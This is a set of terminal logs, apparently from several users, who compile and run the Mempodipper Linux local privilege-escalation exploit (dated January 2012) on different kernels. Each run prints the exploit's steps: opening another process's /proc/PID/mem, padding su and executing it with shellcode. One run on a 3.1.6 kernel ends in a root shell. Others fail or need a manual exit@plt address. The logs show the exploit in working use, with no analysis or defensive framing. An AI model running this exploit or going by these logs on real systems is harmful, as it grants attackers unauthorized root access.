sergey@Pent4-desktop:~$ whoami
sergey
sergey@Pent4-desktop:~$ ./a.out
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049570.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6816/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049555.
[+] Executing su with shellcode.
sergey@Pent4-desktop:~$ uname -a
Linux Pent4-desktop 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012 i686 i686 i386 GNU/Linux
sergey@Pent4-desktop:~$ whoami
sergey

doc@dt:~$ gcc e.c
doc@dt:~$ ./a.out
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80499e8.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/17805/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80499dc.
[+] Executing su with shellcode.
doc@dt:~$ whoami
doc
doc@dt:~$ cat /etc/slackware-version
Slackware 13.37.0
doc@dt:~$ uname -a
Linux dt 2.6.38.7-smp #2 SMP Sat May 21 23:13:29 CDT 2011 i686 Intel(R) Celeron(R) D CPU 3.06GHz GenuineIntel GNU/Linux

john@ztux ~ $ gcc mempodipper.c
john@ztux ~ $ whoami
john
john@ztux ~ $ ./a.out
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/13705/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find next instruction without reading binary.
[+] Resolved exit@plt to 0x4020c0.
[+] Calculating su padding.
[+] Seeking to offset 0x4020a5.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# uname -a
Linux ztux 3.1.6-zen+ #1 ZEN SMP PREEMPT Sat Dec 31 23:16:57 MSK 2011 x86_64 AMD Phenom(tm) II X4 945 Processor AuthenticAMD GNU/Linux
sh-4.2#

mike@Gramozeka:~/ex$ gcc mempodipper.c
mike@Gramozeka:~/ex$ whoami
mike
mike@Gramozeka:~/ex$ ./a.out
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/9077/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./a.out -o ADDRESS
[-] Example: ./a.out -o 0x402178
mike@Gramozeka:~/ex$ whoami
mike
mike@Gramozeka:~/ex$